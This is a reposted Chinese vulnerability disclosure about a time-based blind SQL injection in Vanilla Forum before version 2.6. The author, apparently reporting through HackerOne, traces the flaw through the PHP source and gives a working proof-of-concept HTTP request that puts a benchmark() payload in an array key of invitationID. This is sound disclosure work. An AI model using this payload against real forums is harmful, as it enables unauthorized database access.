Vanilla SQL Injection Vulnerability

栏目: 编程工具 · 发布时间: 8年前

内容简介:该漏洞是四月份我在h1上挖到的,Vanilla是国外的一个论坛程序,是一款开源的PHP程序。github地址为:https://github.com/vanilla/vanilla在Vanilla Forum 2.6之前,存在一个SQL注入漏洞,攻击者只需要注册登录一个会员即可利用该漏洞。

简介

该漏洞是四月份我在h1上挖到的, 原文 是英文,为了方便分享,我重新写成中文并发表在博客上。

Vanilla是国外的一个论坛程序,是一款开源的 PHP 程序。github地址为:https://github.com/vanilla/vanilla

在Vanilla Forum 2.6之前,存在一个 SQL 注入漏洞,攻击者只需要注册登录一个会员即可利用该漏洞。

漏洞分析

首先在applications/dashboard/controllers/class.profilecontroller.php:274

public function deleteInvitation($invitationID) {
        $this->permission('Garden.SignIn.Allow');

        if (!$this->Form->authenticatedPostBack()) {
            throw forbiddenException('GET');
        }

        $invitationModel = new InvitationModel();
        $invitationModel->delete($invitationID);
        $this->informMessage(t('The invitation was removed successfully.'));
        $this->jsonTarget(".js-invitation[data-id=\"{$invitationID}\"]", '', 'SlideUp');

        $this->render('Blank', 'Utility');
    }

这个函数有个形参$invitationID,这个值其实是我们通过URL传递进来的,是我们可控的,并且这里需要注意的是,该值是可以为一个数组。

首先该函数第一行判断了权限,需要登录。

第二行是一个csrf token的判断,利用这个漏洞不能直接发POST包。

然后下面就到了关键的地方,可以看到这里将$invitationID带入到了delete函数中,我们跟踪一下该函数。

applications/dashboard/models/class.invitationmodel.php:225

   public function delete($where = [], $options = []) {
        if (is_numeric($where)) {
            deprecated('InvitationModel->delete(int)', 'InvitationModel->deleteID(int)');
            $result = $this->deleteID($where, $options);
            return $result;
        }
        parent::delete($where, $options);
    }

这里的参数$where就是我们上文的$invitationID,是可控的,然后这里又将$where带入到了另外一个delete函数中,继续追踪。

public function delete($where = [], $options = []) {
        if (is_numeric($where)) {
            deprecated('Gdn_Model->delete(int)', 'Gdn_Model->deleteID()');
            $where = [$this->PrimaryKey => $where];
        }

        $resetData = false;
        if ($options === true || val('reset', $options)) {
            deprecated('Gdn_Model->delete() with reset true');
            $resetData = true;
        } elseif (is_numeric($options)) {
            deprecated('The $limit parameter is deprecated in Gdn_Model->delete(). Use the limit option.');
            $limit = $options;
        } else {
            $options += ['rest' => true, 'limit' => null];
            $limit = $options['limit'];
        }

        if ($resetData) {
            $result = $this->SQL->delete($this->Name, $where, $limit);
        } else {
            $result = $this->SQL->noReset()->delete($this->Name, $where, $limit);
        }
        return $result;
    }

然后该函数中又将$where带入到了$this->SQL->noReset()->delete函数中,继续追踪。

library/database/class.sqldriver.php:333

 public function delete($table = '', $where = '', $limit = false) {
        if ($table == '') {
            if (!isset($this->_Froms[0])) {
                return false;
            }

            $table = $this->_Froms[0];
        } elseif (is_array($table)) {
            foreach ($table as $t) {
                $this->delete($t, $where, $limit, false);
            }
            return;
        } else {
            $table = $this->escapeIdentifier($this->Database->DatabasePrefix.$table);
        }

        if ($where != '') {
            $this->where($where);
        }

        if ($limit !== false) {
            $this->limit($limit);
        }

        if (count($this->_Wheres) == 0) {
            return false;
        }

        $sql = $this->getDelete($table, $this->_Wheres, $this->_Limit);

        return $this->query($sql, 'delete');
    }

该函数中对我们传递进来的$where有个判断和操作,如果不为空,就带入到where函数中去,跟踪一下该函数。

public function where($field, $value = null, $escapeFieldSql = true, $escapeValueSql = true) {
        if (!is_array($field)) {
            $field = [$field => $value];
        }

        foreach ($field as $subField => $subValue) {
            if (is_array($subValue)) {
                if (count($subValue) == 1) {
                    $firstVal = reset($subValue);
                    $this->where($subField, $firstVal);
                } else {
                    $this->whereIn($subField, $subValue);
                }
            } else {
                $whereExpr = $this->conditionExpr($subField, $subValue, $escapeFieldSql, $escapeValueSql);
                if (strlen($whereExpr) > 0) {
                    $this->_where($whereExpr);
                }
            }
        }
        return $this;
    }

这里其实就是一个组装where语句的函数,由于$where我们可控制,导致这里组装后的where语句的字段处也可以控制,所以就产生了一个SQL注入漏洞。

漏洞证明

  1. 该漏洞利用需要用户登陆,因为是论坛,所以注册登录不是什么难事。
  2. 开头提了一下,由于有CSRF TOKEN的校验,所以不能直接发POST包,但是我们可以随便点击论坛一个正常的POST请求,然后用Burpsuite来改即可。
  3. 这里我使用的是延时注入,用的是benchmark函数。不同环境的延时时间也不一样的。

附上POC:

POST /profile/deleteInvitation?invitationID[1%3dbenchmark(40000000,sha(1))+and+1]=balisong HTTP/1.1
Host: localhost
Content-Length: 29
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://localhost
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://localhost/profile/
Accept-Language: zh-CN,zh;q=0.9
Cookie: Drupal.toolbar.collapsed=0; hd_sid=udVsUw; XDEBUG_SESSION=PHPSTORM; Vanilla=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE1MjkyMDE2NTAsImlhdCI6MTUyNjYwOTY1MCwic3ViIjo3fQ.of1gk2CHyzeomQNSMWz_8WXXi_FfCwKxyctVWZlemKI; Vanilla-Vv=1526609650; Vanilla-tk=caEyM0dSVZC0xDhU%3A7%3A1526609650%3Ab23a6efff2dd9f026ffa87db10ba4119
Connection: close

TransientKey=caEyM0dSVZC0xDhU

然后这里延时了9秒。如图所示:

Vanilla SQL Injection Vulnerability

结语

其实这种漏洞很常见,很多程序在处理SQL语句的时候,都采用的这种写法,当然这种写法是没错的。主要还是因为开发人员太信任外部的输入了。

该程序在该版本相同类型的漏洞还有一个,大家有兴趣的话可以自己找一找。(当然我已经提交给厂商啦。)


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。

The Dream Machine

The Dream Machine

M. Mitchell Waldrop / Penguin Books / 2002-8 / USD 16.00

While most people may not be familiar with the name J. C. R. Licklider, he was the guiding spirit behind the greatest revolution of the modern era. At a time when most computers were big, ponderous ma......一起来看看 《The Dream Machine》 这本书的介绍吧!

SHA 加密
SHA 加密

SHA 加密工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换